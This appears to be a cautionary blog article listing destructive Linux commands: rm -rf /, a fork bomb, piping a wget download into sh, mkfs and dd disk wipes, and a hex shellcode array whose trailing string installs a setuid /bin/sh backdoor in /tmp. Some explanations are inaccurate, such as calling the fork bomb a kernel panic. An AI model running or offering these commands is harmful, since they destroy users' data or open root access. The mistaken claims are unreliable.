Deadly Commands You Should Never Run on *nux Systems ☠️

Whether you're a Linux newbie or veteran, you should never run a command unless you know exactly what it does. Linux can be a double-edged sword. It assumes that you know what you're doing and gives you the freedom to do whatever you want.

Deadly Commands You Should Never Run on *nux  Systems ☠️
Deadly Commands


Linux operating system provides its users with more independence as compared to Windows or any other operating system. Linux won’t ask you for confirmation if you run any command that could damage your system. So, we recommend you to not use these commands at any cost. So, in this article, we are going to share some of the dangerous Linux commands you should never run on Linux without a full understanding of what they mean.

1. Delete Recursively

In Unix, Linux system the use of rm is especially risky because there is no undelete command, so once deleted, it's gone... it’s unrecoverable. If privileged user escalates his privileges to sudo and decides to use rm, then he could permanently remove sensitive and valuable data from the system. The rm command has many modifiers which can delete configuration files, folders, etc.

rm -rf /

This line executes the remove command rm with two toggles: -r which forces recursive deletion through all subdirectories and -f which forces deletion of read-only files without confirmation. The command is executed on the / root directory, essentially wiping your whole system clean and fresh.

Note, these days on most Linux systems if you tried doing this you'd get a warning. But the warning isn't guaranteed, so just don't do it.

2. Fork Bomb

This obscure command is called a fork bomb, which is a special type of kernel panic.

:(){:|:&};:

This is actually a bash function which creates a copy of itself, once in the foreground and once in the background and this cycle keeps going in an infinite loop.
The only way out of it is to reboot the system.

3. Execute Remote Script

Here's an innocent command that can actually be useful in day-to-day life on a Linux system.

wget https://an-untrusted-url -O- | sh

The above command will download a script from a malicious source and and immediately feeds it to the sh command, which executes the downloaded contents in the terminal. The wget command will download the script and sh command will run the downloaded script on your system. If the URL were to point to a malicious script, you'd be in trouble.

4. Format Hard Drive

Disk drive formatting is not an inherently malicious action, but it does what it says "reset" the drive such that it's "as fresh as new". In other words, a formatted hard drive is like a blank slate.

mkfs.ext4 /dev/sda

Formatting is useful for disk partitions and external drives, but executing it on an entire hard drive (such as /dev/sda) is dangerous and will leave your system in an unrecoverable state.

5. /dev/null

On Linux, there's a special file called /dev/null that will discard whatever data is written to it. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good, literally for good.

mv / /dev/null

Let's see, can you spot the danger here?
The mv command tries to move the system's root directory / into the black hole of /dev/null.
This is a valid command and the result is devastating: the hard drive gets eaten up and there's nothing left. Doing this will make your system unusable.

6. Overwrite Hard Drive

It's possible to overwrite your hard drive using raw data.

command > /dev/sda

In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn't matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive.

7. Wiping Hard Drive

Here's another way to ruin your system. This command will completely zero out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. A hard drive doesn't get any more wiped than that.

dd if=/dev/zero of=/dev/sda

The dd command is a low-level instruction that's mostly used to write data to physical drives. The if parameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/sda drive.

Yes, there are legitimate reasons for zeroing a drive, but if you don't know what those reasons are, then you'll want to stay away from this command.

8. > file

The above command is used to flush the content of a file. If the above command is executed with a typo or ignorance like "> main.conf " will write the configuration file or any other system or configuration file.
Another method is to redirect the output of : or true built-in command to the file like so:

$ : > main.conf
OR 
$ true > main.conf

Its output is the same as that of an empty file.

9. Hidden the Command

The below command is nothing but the first command above (rm -rf /). Here the codes are hidden in hexadecimal so that an ignorant user may be fooled. Running the below code in your terminal will just wipe your root partition. Don’t compile/run codes from an unknown source.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


AGAIN!!!!

Don’t execute any of the above commands in your Linux terminal or shell or of your friend or school computer. If you want to test them, run them on a virtual machine. Any in-consistence or data loss, due to the execution of any of those commands will break your system down for which, neither the author of the article nor snubmonkey.com is responsible. 👉